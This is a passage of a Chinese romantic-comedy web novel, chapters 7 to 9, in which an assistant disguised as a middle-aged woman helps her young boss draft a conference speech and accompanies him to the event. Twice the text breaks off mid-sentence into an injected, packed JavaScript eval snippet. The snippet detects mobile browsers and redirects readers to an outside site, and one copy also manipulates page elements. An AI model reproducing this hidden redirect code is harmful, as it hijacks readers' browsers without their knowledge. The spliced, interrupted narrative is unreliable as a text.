她看着魏如栩:“你之前也说了,是需要人帮忙才这么着急招人。我没帮到你,就是没完成任务。再说你是我老板,我作为助理,确实考虑不够周全,应该了解到你全部的需求再下笔。” “话也不能这么说,所谓屁股决定脑袋,我俩立场不同,注定我们想法不一样。”魏如栩干脆把电脑上的文档关了,免得顾妙看着闹心,“我没道理要求你完全从我的立场出发……” 顾妙捂着脸:“快别说了魏总,你越是善解人意,我越心里不安。咱俩也甭互相摸头安抚了,还是先把发言稿的问题解决掉比较好。” 魏如栩:“……” 突然觉得好老板有点难当,霸道总裁不好,善解人意不行。这行有没有什么入门101可以参考一下? 顾妙咕咚咕咚把矿泉水当酒灌了半瓶,打开自己的电脑,那摩拳擦掌的样子大有要把键盘敲平的趋势。 她新建了一个文档,然后扭过头来看魏如栩:“老板,这篇发言你有什么想说的吗?” “呃……这个……暂时还没想到。”魏如栩吭吭哧哧,最终决定给顾妙一句大实话。 顾妙气得差点晕了过去,咬牙切齿地说:“现在想!” “哦。” 魏如栩就坐在椅子上,微微蹙眉,果真是开始思考了起来。他两条长腿交叠搭着,双手老老实实放在膝盖上,看起来十分乖巧。 顾妙盯了他五分钟,实在无法忍受空气中这令人尴尬的安静,决定开始进行启发性提问:“魏总,你想要什么类型的发言?比如说展望未来型,深挖当下型,言简意赅型,云山雾罩型……” “什么叫云山雾罩型?”魏如栩眨巴眨巴眼睛。 “就是好像什么都说了,但又什么都没说。”顾妙忽然想起自己被顾肖硬拉着去看的一次美院学生毕业作品展,里面充斥着各种令人难以理解的装置艺术,“就你们艺术家们做的那些东西,比如一堆奇奇怪怪的纸箱和塑料瓶放在一起,还有现场用射灯照出五花八门的图案那种……” “那不是什么都没说,艺术家有自己的表达,只是……”魏如栩本想说“只是你们看不懂”,又觉得这话似乎有点伤人,硬生生改成了,“只是每个人看了之后心里会有不同的解读。” 顾妙:“……” 总觉得这么聊下去不是那么一回事,她决定换个方式启发。 “要不这样吧,说起来这次是你第一次在业界露面,这样的讲话不外乎两个主题,一是你认同你父亲的理念,会坚定不移贯彻下去,二是你不太认同他的想法,作为年轻人有自己的发展方向。所以,现在是你来带领公司,你打算怎么做?” 魏如栩认真地想了想:“父亲对的地方自然是要继续贯彻,不对的地方也要进行改变。” “哪些想贯彻,哪些你想改变?” “……还没想过。” 喂,120吗?这里有个妙龄女子快被气死了,还能不能抢救一下? 7. 第七章 刻板印象 “妙妙姐,我是不是太笨了?”魏如栩双颊泛红,右手下意识地摩挲着项链上的羽毛型挂坠,看起来有点害羞,更多的是懊恼。 顾妙深呼吸一口气,不想再打击这孩子的积极性,只好强装出一副慈祥的面孔:“也不能怪你,毕竟你是匆忙上任,父亲又生病,什么都来不及想也很正常。再说隔行如隔山,也挺难为你的。” 魏如栩垂着头没再说话。从顾妙的角度看过去,能看到他好看的眉毛蹙成一团,长长的睫毛在眼底打下一片阴影。 “这个会议,一定是要总经理来参加吗?部门总监什么的不行吗?”顾妙忍不住问。 “当然可以,所以他们一开始极力反对我出现。”魏如栩脸上的冷笑一闪而过,音调更加低沉,“现在看来他们是对的,我来只能出丑。” “也不能这么说……”顾妙不擅长说违心的话,本能跳过了“安慰”这个环节,“可你昨天如果没招到助理怎么办?或者我说有事没办法立即跟你出差,你这发言稿是要自己写吗?” “不瞒你说,我确实打算自己写来着。但我翻过了我父亲所有类似的发言稿,都觉得不太合适,他的发言向来针对当前形势,具有一定的时效性,不好拿过来直接用。”魏如栩看了看顾妙,感激一笑,“幸亏遇到了你。” “可别这么说了,我这不也没干好么?”顾妙心累地摆摆手,自从开始各种打工之后,她还没这么茫然无措过。 魏如栩站起身来,在原地微微踱着步,似乎下了什么决心似地说:“演讲稿就用目前这篇吧,其实也没什么问题。是我太矫情了,自己没什么想法,反倒指望别人替我提升格局,有点过分了。反正也没人在意我怎么想,大家估计都是听完就算,这么保守的一篇挺好的,至少不出错。” “那不行!”顾妙没过脑,下意识地一拍桌子,直到她看见魏如栩一脸懵逼,才意识到自己好像是有那么一点点嚣张,赶紧换上和颜悦色脸,“咳咳,那个,不好意思,有点激动。既然这篇你不满意,我就得写出一篇你满意的来。你暂时没想法没关系,我跟你慢慢聊,死活也能给你聊出想法。” “这也行吗?”魏如栩诧异。 顾妙得意地翘起嘴角:“我这个人最会聊天了!” “最会聊天”的顾妙话音刚落,肚子就很不配合演出地叫了一声,声音之大,令站在她两米之外的魏如栩着实震惊了一下,才意识到现在已经晚上八点多,两个人还没吃饭。 “我只是肚子叫,不是放……”顾妙天赋异禀,思路与常人不同,匆忙为自己辩解之后才意识到人家早就get了正确答案,她这番解释正可谓是“此地无银三百两”,顿时尴尬成了熟透的大闸蟹。 魏如栩假装没听见,拿起手机:“咱们出去吃饭吧。” “不用不用!”顾妙连连摆手,“活儿还没干完哪好意思吃饭。我叫个外卖就行了。” “我可不想吃外卖,这酒店的餐也一般。来之前我查过,附近有个大商场,里面什么吃的都有,评分都挺高的,一起去拔个草。”魏如栩一直都很随和,倒是在这吃饭问题上不由分说,恰当地流露出了一丝纨绔之气,“走吧,不吃饱没办法继续工作。不就两千五百字的发言稿嘛,只要聊到位,两个小时还搞不定?” 说罢这人便扣上了顾妙的电脑,向门口走了几步,意识到她并没跟上,回头给了她一个疑惑的眼神。 顾妙内心早已泪流满面,老板说得倒轻巧,你这浪费的可是我的时间…… 她心事重重地跟在魏如栩旁边,满脑子挂念的都是这篇该死的发言稿,一时间有些心神恍惚。 魏如栩叫了车,两人在车上也没怎么说话,直到进了商场,为了选餐厅才简单交流了两句。 顾妙本来就满腹心事,虽然饿,却并没什么食欲。更何况跟老板出来吃饭,她很有自知之明地尽量不发表意见,表示怎么都好。 魏如栩也没太纠结这个,很快选定了一家淮扬菜,两人进了餐馆坐下来。 等菜的时候,声称自己会聊天的顾妙却像卡了壳,眼睛盯着桌子一言不发。魏如栩看着她别扭的样子,笑了笑:“妙妙姐,在我面前不用这么拘谨。” 顾妙挤出一丝笑容,半开玩笑地说:“毕竟你是老板,我哪能太放肆。” “正常交流就好,也用不着放肆。”魏如栩有点无奈,“我也没当过老板,是张白纸,你可别把我宠坏了。最后我本事没学到,反而养成一身摆架子的坏毛病,这可怎么办?” 这话在顾妙听来,似乎有种隐含的撒娇意味。魏如栩把她当成四十岁的大姐,他一个年轻男孩子跟大姐撒个娇,倒也无可厚非。 可是顾妙知道自己不是,这话钻进她的耳朵里,反而有种异样的感觉,配上眼前人在阴暗灯光下分外立体的五官和清澈的眼神,她莫名觉得自己的小心脏一通狂跳。 “我的老天鹅,这是在考验我的革命意志吗?”顾妙把目光从魏如栩脸上挪开,抓起手机来查看信息,试图分散一下自己的注意力。 谁知一打开微信,发现顾肖和凌晏如居然拉了一个群,讨论起顾妙这么久没有动静都有可能发生了什么事。 顾妙见自己不在,这俩人居然聊了几百条,一路扫视下去,什么乱七八糟的废料都有,气得七窍生烟,愤怒地发了一个“你们这么说话容易挨揍知道不”的表情。 她这刚一露头,群里那俩货顿时有了反应,你一言我一语地问候她,表达方式千奇百怪,中心思想只有一个,就是问她“得手没有”。 “经鉴定,你们两位的大脑PM2.5已经爆表,请净化后再发言。”顾妙恨恨地把手机扔在一边,一抬头看到魏如栩关怀的目光。 “是不是出来得太匆忙,家里的事没安排好?”魏如栩满怀歉意,“是我的疏忽。” 顾妙非常尴尬,连忙摇了摇头:“不是,没什么事,家里那货有点碎嘴,等我回去收拾他。” 魏如栩微微诧异,随即笑了起来:“就知道你是个豪爽的人,所以才劝你别在我面前拘谨,这样我都不好意思暴露本性了。” “你现在……不是本性吗?”顾妙吃了一惊。 “谁都有会几副面孔,给不同的场合不同的人。” “那倒也是。”顾妙想起自己的马甲,小心翼翼地问,“如果你发现身边的人一直在伪装,会怎么想?” 服务员来上菜,打断了魏如栩的回答。 几秒钟的时间内,顾妙心里一直忐忑不安。她莫名地特别想知道他的答案,哪怕这次出差一结束,两人就会再也不见。 她紧紧盯着魏如栩,生怕他一被打断就换了话题,她就再也不好特意再问一遍,内心怅然无处安放。 “还能怎么想?这是人趋利避害的本能。当然,如果那人不是故意在我身边当间谍的话。”魏如栩给顾妙倒了一杯茶,温和地笑道,“排除别有用心的安排,如果一个人在你面前始终不能做自己,只能说明你没让对方有足够的安全感。” “也不能一味只责怪你自己,或许是那个人本来就很缺乏安全感呢?总不能想着让整个世界都给他当保姆吧。” “对,这也是一方面。不过我习惯了从自己身上找原因。” “魏总,你不像是这个年纪的人。”顾妙若有所思地说,“这个年龄,不都很自我吗?天上地下唯我独尊,如果出了什么问题,一定是别人的错。” 魏如栩意外地看了顾妙一眼:“妙妙姐,你也喜欢给人贴标签吗?我是什么样的人,跟我的年龄有什么关系?” 顾妙这才恍然意识到,无论她平时多么讨厌别人用刻板印象看自己,她看向别人的目光,也并非是完全没有预设立场的。她那么厌恶那些人,却从没想到自己也是其中一员。 多么痛的领悟! 也难怪魏如栩从来没怀疑过她什么,他只是单纯地跟她这个人打交道,她是多大年龄,是什么身份背景,完全无关紧要。 这一天下来,顾妙非常累,顶着四十岁的伪装她感觉完全不能做自己,努力一言一行都往四十岁的标签上去靠,反而搞得自己别别扭扭古里古怪。 想清楚这点,顾妙似乎轻松了许多,心里的重担也慢慢放下。 这家淮扬菜味道很好,饿坏了的她也终于能不再拘谨地大快朵颐。 好吃的食物更是社交利器,顾妙和魏如栩从两个人爱吃什么开始聊起,聊到魏如栩这些年在国外的生活,聊到他回国之后的想法,聊着聊着,隐隐约约似乎有了些收获。 饭吃得差不多了,两人决心抓住灵感的小尾巴,赶紧结了账离开。 商场离酒店不远,顾妙提议两人一边走一边聊,既能敞开了说,又能消食,魏如栩深以为然。 从商场大门出来,有一条马路直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一瞬间顾妙的发根全都炸了起来,她头皮发麻,脑海中乱七八糟的念头就像退潮了的海水落了个一干二净,只有一个最坚定地想法占据她的大脑,那就是——保护好老板! 顾妙猛地向前跨了一步,挡在魏如栩身前,大喊道:“小心!” 魏如栩没料到她突然截住自己的路,没来得及刹车,不小心撞上了她的后背:“……妙妙姐,你干什么?” 顾妙虎视眈眈地看着前方来人,才发觉那不过是个拿着拐杖的老大爷,正呼哧带喘地去追那条狗。经过他们身边的时候,老大爷才倒上一口气来,对着前面那撒欢的孽畜大喊:“球球,你给我站住!” 小短腿叫球球啊,还怪形象的。 眼看小孽畜快把老大爷溜断气了,顾妙赶紧跑了过去,三步两步追上球球,一脚踩住它的狗链。 小家伙“嗷”地一声刹住了车,一点不认生地冲着顾妙摇尾巴。 顾妙捡起狗链,没好气地冲小狗“汪汪”两声,然后把狗链递给了气喘吁吁追上来的老大爷。 老大爷:“谢谢你啊姑娘。” “啊哈哈,没事没事。”顾妙瞟了大爷手里的拐棍,莫名一阵懊恼,刚刚到底是什么被害妄想症爆发,居然把老大爷当刺客? 顾妙禁不住回头看了一眼在原地没挪窝的魏如栩,路灯下少年长身而立,正抄着口袋一脸笑意地望着她。 “要了亲命了!”顾妙心里嘟囔着,低下头尴尬地向魏如栩走去。 她虽然不敢看他,但已经明显听到某人抑制不住的窃笑声。 顾妙气急败坏,狠狠跺了跺脚:“不许笑,再笑你自己去写发言稿!” 想必是吃饭时候聊天熟络了,魏如栩并没有乖乖听话,反而轻轻戳了戳顾妙的肩膀,哪把壶不开提哪把壶:“哎,你刚才想什么呢?明明看见那只脱缰的野……小狗,就该知道后面追上来的肯定是它主人,怎么就突然锦衣卫上身,摆出一副救驾的姿态?” 顾妙抖了抖肩膀,只顾低着头走路:“眼神不好+精神紧张,不行吗?” 这会儿魏如栩倒是没再说话,静静地跟着她走,沉默着。顾妙不禁回头去看他,却发现他一直在看着自己。 “看我干什么?”顾妙顿时尴尬乘二,“这个解释难道不够完美吗?” 魏如栩突然轻声问:“你一定吃过很多苦吧?” 这孩子,突然这么温柔如水,老阿姨心头一酸,眼泪都快下来了啊! 8. 第八章 叫早 顾妙没回头,只是反问:“怎么这么问?” “其实从见你第一面我就有这种感觉,虽然你看起来很和气也很外向,但是……”魏如栩的眼睛亮亮的,一眨都不眨地看着她,“从身到心,透着一种许久没有被照顾过的……倔强的坚强。” “……” 什么鬼?这话什么意思?! 顾妙突然有点后悔上学的时候没好好学语文,不知道该怎么解读这句话。 她是该泪目呢?还是该撒娇呢?或者该暴走呢? 她回头看了魏如栩一眼,对方正是满眼的关怀,她寻思这句话应该不是讽刺,于是面无表情地装出一副深不可测的样子,反问道:“比如?” 魏如栩无奈地笑了笑:“比如刚刚在便利店,那货架明明很高你够不到,却不会想着向个子比你高的我求助,而是本能自己踮起脚去够,也不怕东西掉下来砸到你。再比如刚刚你以为会有危险发生,反而会抢先一步挡在我跟前,而不是躲在我这个大男人身后。” 顾妙被他说得不由地开始检视起自己的行为,心想:“我有这么愣吗?” “就好像很久没有人照顾过你,反而是你不停地去保护别人,照顾别人,已经成了一种本能反应,你甚至不允许自己在别人面前露出一点软弱。”魏如栩轻声说道。 他的话像是一只小手,轻轻地在顾妙最柔软的心尖挠了一下,她顿时就觉得眼眶发酸。 “那可不咋滴,你当过日子容易?现在你不就切身体会到了?”顾妙嗓子有点哑,咳了几声,“要不说不当家不知柴米贵呢!” 她半开着玩笑,想把这个话题绕过去。 毕竟她跟魏如栩不熟,不想跟他聊这些戳心窝子的事儿。把人搞得泪眼朦胧、稀里哗啦的有什么好,别别扭扭的,再见面多尴尬。 魏如栩也看出她不想继续说,更觉得自己刚才也是有点冲动,一不小心交浅言深,让她觉得别扭了。 可是刚刚她挡在自己面前的样子,像极了他仅有的童年记忆中妈妈的身影。 那么勇敢,那么义无反顾。 可是我现在,不再需要任何人照顾了。 魏如栩突然冷静了下来,心底里默默滑过这么一句话。 这一路上各自心潮起伏,很快就走到了酒店。 回到魏如栩房间,两人也没再说什么废话,循着刚刚闲聊时候理出来的思路,顾妙大体把发言稿分为了三部分:介绍自己、检视当下、展望未来。 魏如栩不再管那些老家伙怎么看国外的新鲜思潮,仍旧把思维创新和模式创新当做自己的目标。反正他就是资历有限,怎么说别人都会质疑,还不如坦坦荡荡说出自己的想法。 两个人有商有量,每一句话都细细拆解过,最后出来的一篇两千五百字的发言稿,跟上一篇相比朴素了很多。 但顾妙自己也承认,不瞎唱高调,确实顺眼多了。 “果然还是写自己熟悉的东西更有说服力。”她突然感叹道。 听了顾妙的话,魏如栩眉间轻轻一动,似乎想到了什么。 眼看时间已经过了十二点,他催着顾妙去休息,并且给了她一张自己房间的房卡。 “妙妙姐,麻烦你了,明天万一我不能按时起床,可能需要你过来叫醒我。” 顾妙一愣:“不如我去前台给你约个morningcall?” “一会儿我自己约一下,主要是我怕挂了电话又睡着了。”魏如栩苦笑了一下。 “那行,你早点睡,好好休息。明天还得登台呢。”顾妙打趣道。 其实她早困得不行了,一晚上都在后悔为什么在飞机上不睡会儿,浪费大好时间全用来吃零食。 抱着电脑回到自己的房间,顾妙飞速洗了个战斗澡,就扑到大床上要跟那滑溜溜的被子亲密接触。 微信群里顾肖跟凌晏如十分钟之前还在呼唤顾妙,于是她在群里回复了一下:“我很好,跟老板聊了一晚上发言稿,刚被放回来睡觉。” 凌晏如那边应该已经睡着了,顾肖一见顾妙的回复,迅速拨了个电话过来。 顾妙看到“肖嬷嬷”来电,无奈地接了起来:“干嘛不睡觉,担心我啊?” “担心你干什么?我是担心你老板。”顾肖好奇地问,“发言稿你不是昨晚就写得差不多了吗?怎么?被老板否了?嘿嘿,我就知道,以你的工作能力,糊弄不了……” “呸呸呸,狗嘴里吐不出象牙来。”顾妙打了个长长的哈欠,“你跪安吧,朕要睡了。” “着什么急啊,我这正好奇呢。你是怎么假装四十岁跟你老板相处这么久的?他当真没看出来?” “老板的注意力根本不在我的年龄上好吧?哪像你,这么浅薄。” 顾妙虽然困,却也按捺不住分享的心情,简明扼要地把下午到晚上的事给顾肖复述了一下。 顾肖听完,沉默了几秒钟,突然感叹了一句:“emmm……这位魏如栩同学,心思深沉,是个人才。” 顾妙怔了怔:“你从我说的哪部分get到这一点的?我觉得他就是个傻白甜啊!” “姐,傻白又不怎么甜的那个是你好吗?”顾肖翻了个白眼,想到顾妙并看不到,内心有点沧桑,“明明是人家觉得让你返工怕伤了你的面子,所以才装出不怎么聪明的样子。当然也存在一种可能,就是他自己也没太理清思路,但他执意带你出去吃饭就是为了让你和他都能熟悉一点,放松心情,才能更好地思考。” 顾妙躺在床上,手里攥着手机,突然觉得世界有点不真实:“你今天打篮球受伤了吗?胳膊肘朝外都拐出十八里地去了。” “根据你的描述,我明显能感觉到是他在带话题,引导着你思考,然后再刺激他自己顺着你的想法多想一步。”顾肖叹了口气,“这种借力打力用得挺巧的。” “怎么可能,你又没见过他,他可单纯了。你不知道,他从小就一直学艺术,哪有那么多花花肠子……” 尽管知道顾肖向来洞察人心的能力比她强,十有八九他说的是对的。但顾妙嘴上始终不愿意承认,因为一旦承认,就等于从始至终她就是个没什么用的打字机。 她觉得自己什么也不剩了,只剩一点可怜的自尊心。 “从小只学艺术的人不代表不会心思深沉,心思深沉也不代表人不好,其实我觉得他能样样都能照顾到,已经很了不起了。” 顾肖是个现实主义者,向来不愿意让顾妙对自己的实力抱有不切实际的幻想,因为他总觉得人一旦开始飘了一定没有好下场。 真相虽然容易伤人,但至少能牵着人牢牢站在地上。 可顾妙显然不是这么想的,她只是幽幽地说了一句:“顾肖,你还不明白自己为什么是狗不理么?做人留一线,日后好相见啊弟弟!” 说完她就把电话挂了,隔着遥远的电信信号,顾肖在炎热的夏季凌晨突然感受到了一丝寒意。 熄了灯,顾妙翻来覆去,一直反复咀嚼着顾肖的话,又想到魏如栩那句“谁都有会几副面孔,给不同的场合不同的人”,越发觉得自己好像一点也不了解这个看起来纯白如雪的人。 不过转念一想,他们两个才认识两天,谈了解简直过于可笑。即便是“纯白如雪”,也是顾妙一厢情愿给对方加上的形容词,带着她自己美好的“幻想”。 好在顾妙向来不爱钻牛角尖,她只是纠结了一小会儿,沉重的睡意袭来,很快就陷入了无梦的睡眠。 深睡眠总给人一种睡得很短的感觉,仿佛才刚一沾枕头没多久,就听到了那该死的闹铃声。 顾妙摸起手机,眯缝着一只眼,把闹铃关掉,把脑袋埋进枕头堆里继续睡。 她一点也不担心睡过头,因为她在手机上按等差数列定了一串闹铃,每个挨着的闹铃都相差五分钟。就这么按着顺序一路关下去,到最后一个,就算仍有困意,也被烦得睡不着了。 起来第一件事,她先给魏如栩发了条信息,问他起没起床。 在等待回复的时候,顾妙睡眼惺忪地跑去洗手间洗漱。 洗完脸终于精神了一点,接着又对着镜子进行手工“PS”,把她青春少艾的脸给挡上。 顾妙手机“滴滴”响个不停,收到了各种乱七八糟的推送,然而等她拿起手机来看,却没有一个是魏如栩的信息。她不放心,只好拨了个电话过去,可惜一直没有人接。 “完蛋,难道真的要去他房间?”顾妙换好衣服,拿起一旁放着的魏如栩的房卡,内心有点纠结,“这大清早的,会不会不方便?噫,算了!反正是他让我去的,我紧张个什么劲?!” 她拿好手机,捏着房卡到了魏如栩的房间门口。刷卡过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459385|169685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,门“滴”地响了一声,顾妙按下把手,轻轻推开了门。 “咳咳,那个……魏总,是我顾妙,你醒了吗?”顾妙推开门,但并没进去。她想着事先提醒一下魏如栩,免得两个人都尴尬。 房间内空调打得很低,窗帘拉得严严实实,像个冰窟窿,顾妙出声后等了半分钟,没有人给她回应。 顾妙心中念叨:“我去,睡这么熟吗?难怪需要人来叫。可是……他不会裸睡吧?唉我胡思乱想什么呢,他让我来的,难道还故意不穿衣服么……” 她看了看手机上的时间,再拖下去铁定来不及,心一横走了进去。 魏如栩睡相很好,侧睡着蜷缩在被子里,床铺也很整洁,没有被主人揉搓过的痕迹。 他脸上戴着一个大大的眼罩,耳朵里还塞着耳塞,一副要把自己与世隔绝的模样。 “难怪担心自己醒不来呢。”顾妙心想,“恐怕地震都震不醒你。” 她先走到落地窗前,“哗啦”一声把遮光窗帘拉了个四敞大开。七月份灼热的阳光瞬间透过窗户洒满了地板,把整个房间照得十分明亮。 “魏总,醒醒!”顾妙站在床边,轻轻喊了魏如栩一声。然而床上那人不知道是不是死了,一点反应都没有。 顾妙伸手,想拍他又不太好意思,总觉得冒冒失失跟他有肢体接触不太好。于是她绕到床的另一侧,提高声音喊道:“魏总,起床了!” 魏如栩有了一点反应,他翻了个身,背对着顾妙。 顾妙长出一口气,但没想到,翻身之后,魏如栩又不动了。 “怎么比顾肖还难叫?”顾妙郁闷得不行,但是想到顾肖,她忽然灵机一动,“不方便用手,我可以用脚啊!” 她当然不会学爸爸对顾肖那样掀魏如栩的被子,只是决定在他屁股上狠狠踹一脚。反正屁股皮糙肉厚,又隔着被子,不会有什么太细腻的感觉。 于是顾妙脱了一只鞋,双手轻轻拎起裙摆,抬脚正要踹的时候,魏如栩恰好摘了眼罩回过头来,就逆光看到有个魔头要对自己下手,哦不,下脚,本能地露出了惊恐的表情。 魏如栩:“你干什么?!” 顾妙被抓了个现行,本能想要撤力,可是也不知道刚刚她打算使出多大的劲儿,总之收得不是很顺利,所有的力气退回到重心,再加上被抓包心虚,站在地上的那条腿突然有点发软,一下子没支撑住,整个人“咣叽”一声向后栽了过去,摔了个结结实实的屁股蹲儿。 魏如栩仿佛受到了惊吓,一骨碌坐了起来。 他眼睛刚适应了光线,看到地上的顾妙,赶紧跳下床去,伸手扶也不是,不扶也不是:“妙妙姐,你……你没事吧?” 好在顾妙是个被摔习惯的,地毯也软,她一撑地就站了起来,尴尬地摆摆手:“没事没事,我这长期锻炼的身板,扛得住!” “你刚刚是要干什么?我怎么感觉……像是要踢我?”魏如栩一边把一次性耳塞抠出来,扔在垃圾桶里,一边试探地问顾妙。 “啊……那个……我见叫了半天你也不醒,是想着上脚来着。在我家,要是孩子叫不起床,就肢体语言招呼。”顾妙努力端出家长架子,脸上挂出一副坦然的表情。 “你们家管得还挺严的。”魏如栩无奈地说,“不过我觉得你可以推我一把,或者在我耳边大声放个摇滚乐什么的,我应该也能醒过来。幸亏你没摔坏,要不然出个差还得上医院,对你来说实在太不划算了。” “我还没骨质疏松呢!”顾妙心道,她见魏如栩穿得倒是挺严实,一件T恤一条运动裤,顶着一头鸟窝似的乱发,看起来迷糊又茫然,着实可爱得要命。 该死,男人,请停止散发你的魅力! 顾妙为自己争辩:“谁知道你怎么睡这么沉?” “哦,最近有点睡眠不太好,我怕失眠影响今天的精神,就吃了颗安眠药。”魏如栩挠挠头,“根据上次吃药的经验,确实得有人反复叫我几次才能醒。” 顾妙看看时间:“那你快点洗漱吧,我回房间等你通知。” 魏如栩点点头:“半小时后我们去吃早饭,吃完饭后直接去会场。” 他倒是守时,三十分钟之后,顾妙果然收到了他的微信,拎起电脑包便出了门。 走廊里看到魏如栩,顾妙吃惊地张大了嘴,下巴差点没脱臼。 9. 第九章 打脸 这位帅哥穿了笔挺的黑色修身西装,脚上皮鞋锃亮。别的不说,光那剪裁合身的西裤就恰到好处地勾勒出了他的长腿,白色衬衫扣子系得整整齐齐,配了一条蓝色暗纹领带,更凸显了他修长的脖颈,喉结上下轻轻一滚,禁欲系气质简直要冲出三里以外。 魏如栩看了顾妙的眼神,突然就变得不自信起来:“……太过了吗?不好看吗?” 都快成走秀男模了能不好看吗?成心不给会场里那些中老年男子们活路是吧? 顾妙本能地咽了下口水:“穿成这样,你不热?” “是有点热。”魏如栩微微皱起眉头,拧了拧领带结,“平时很少这么穿,可我想着今天是个正式场合,应该穿正装。” 他看了看顾妙迷离的眼神:“要不我再回去换一套?” “换什么换,不够麻烦的。”顾妙拉住他,“我懂什么,憋听我的。你要是热就先别穿外套,室内有空调,应该还好。” 时间有限,魏如栩也没多矫情。两人匆匆吃了饭,叫了车直奔会场。 交流会是在另一家酒店的会议大厅举办,汽车直接开到了酒店门口,门童彬彬有礼地上来开了车门。 他们一进大厅,就发现这里人山人海,热闹程度堪比大中专招聘会,细看下去,多数都是发小广告的。 其中有人看到了他俩,立刻迎了过来,手中的广告直往顾妙手里塞:“老板,需要设计外包吗?我们工作室都是专业美院学生,活儿好,价格又低,包您满意!” 魏如栩:“……” 现在美院学生都这么悲惨吗? 顾妙:“……” 你哪只眼睛看我像老板了? 一个发小广告的过来,就会有更多发小广告的涌过来。 顾妙嘴里连连说着“不需要”,一边伸手挡在魏如栩身前,一边四下张望。看到了“嘉宾通道”四个字,她一把拉住魏如栩的手腕,像拔萝卜似地把他从人群中拔出来,径直冲了过去。 顾妙在学校里做过很多兼职,服务过类似会议,对于嘉宾和观众的签到程序都门清儿,很快帮魏如栩和自己取了胸卡,接着有工作人员带他们往贵宾休息室走去。 为了不互相打扰,休息室有很多小房间,每个房间里会有两到三个公司的人在里面,门上都贴了公司名称。 嘉栩广告也并不是规模很大的公司,不太可能独占一个休息室,自然要跟别人共用一间。 一进门,里面聊得热络的两个中年男子便回过头来打量他们。由于老板们都太过于挂相,顾妙一眼就看出他们的身份,而占据了房间两个角落、尽量低调、收敛自己存在感的一男一女两个年轻人应该是他们的助理。 偏瘦一点、留着分头的中年男子主动走过来向顾妙打招呼,笑容可掬地向她伸出手:“原来嘉栩广告的老板是位美女,失敬失敬。我是寰宇传媒的董事长,赵环宇。” 顾妙:“……” 看起来年龄大就一定是老板吗?这两位大佬眼神跟外面发小广告的一样不好使。 赵环宇的女助理赶紧跟过来,递上了一张名片。 顾妙偏头看了一眼身边的魏如栩,不知道什么时候这货把胸卡挂脖子上了,正所谓再贵的西装也干不过韭菜盒子,那蓝色的挂绳顿时显得那套尊贵的西装价格少了好几个零,这么一看,他还真有点像刚踏入职场的小职员。 或许只有刚上班的小员工才打扮得这么郑重其事,大佬们则想怎么穿就怎么穿。 像赵环宇就穿了个短袖衬衫和一条长裤,胖胖的那一位甚至只穿了Polo衫和一条满是口袋的七分裤。 这一下子魏如栩也有点不知所措,跟顾妙大眼瞪小眼。 顾妙无奈之下,轻轻托了一下那中年男子的手肘,转向魏如栩:“这位是我们公司的总经理魏如栩先生。” 还不等赵环宇尴尬,魏如栩就热情洋溢地握住了他的手:“抱歉,我应该主动跟两位前辈问好。” 赵环宇爽朗地笑了笑:“没关系,没关系,是我眼拙,没想到你这么年轻,真是长江后浪推前浪,我们这老一辈真是要被你们拍死在沙滩上了。你说是不是啊老金!” 站在赵环宇身后的那个平头胖子连连点头,也跟魏如栩握手:“我是天信广告的总经理金磊。” 金磊话音刚落,旁边的男助理也递过来名片。 顾妙刚把赵环宇的名片收好,又忙不迭地收金磊的,可是她手里没有魏如栩的名片,正搜肠刮肚地想借口,要不然实在是有点失礼。 谁知魏如栩从西装内袋里掏出两张名片,恭恭敬敬地分别递给了赵环宇和金磊:“请前辈们多指教。” 想必名片是昨天上午才印出来,而魏如栩还没用习惯他身边这位临时抓壮丁抓来的人生第一个助理,忘记把名片给她了。 顾妙站在一边,简直没眼看,越发觉得自己的老板像个刚出来跑市场的业务员,态度着实太过谦恭。 三家公司共处一个休息室里,这简直是在强行拉人社交。要是谁有个社交恐惧症什么的,估计都得被熬干脱水了。 想他魏如栩作为一个从来没接触过这种场合的新兵蛋子,既没有多年打拼商场的油滑,也没有在社交场合当交际花的经验,想必他在两个前辈面前会很尴尬。 作为一个称职的助理,顾妙站在一角,挖空大脑开始帮魏如栩多想几条逃出去的借口。 谁知这孩子没有丝毫犯怵,主动先跟两个前辈大哥客套:“嘉栩是我父亲一手创建的公司,正巧赶上他身体不好,我也想多历练历练,就厚着脸皮来了。两位大哥打拼这么多年,也不容易,可得注意健康。” “你可是说到点子上了。干哪一行都不容易,干咱们这一行,更是……唉……老金,不用我说,你也深有体会吧?!我们公司刚发展的时候,我那真是在医院扎着吊针,甲方一个电话,咱就得屁颠屁颠跑回去改提案。”赵环宇说得七情上脸,感觉这些年确实受了不少委屈。 顾妙冷眼旁观,看着魏如栩不多说话,只是静静地听老赵老金你一言我一语地分享,他在旁边随时感同身受地点点头,待到一个话题聊得差不多了,他就适当地递上一个新话题,再度引发那两位的讨论。 时间不知不觉过去半个小时,话题一个接一个,这三个新认识的人竟然还从没冷过场。 魏如栩就像一个熟练的裁缝,在两片布料当中穿针引线,将他们牢牢地缝在了一起。 这会儿顾妙想到顾肖昨天说的那番话,突然觉得他说得十分在理。现在这么看,魏如栩还真是控场的一把好手。 只是这样的他,对顾妙来说,突然间陌生了许多。 “他到底是个什么样的人?在我面前表现出来的笨拙和单纯,真的都只是他的面具吗?”顾妙不禁心生疑惑。 会议开场,嘉宾们在工作人员的带领下陆续进入会场,按照标记好名字的座位坐在了前两排。 座席从四排往后都是普通观众,最后面是几排媒体记者,架着各种大炮筒子似的相机做好了准备。 顾妙等随从工作人员则坐在一侧的特定区域,安静地听其他到场大佬发言。第一个发言的人刚走上台,他背后的大屏幕就亮了起来,醒目的画面顿时让顾妙一激灵。 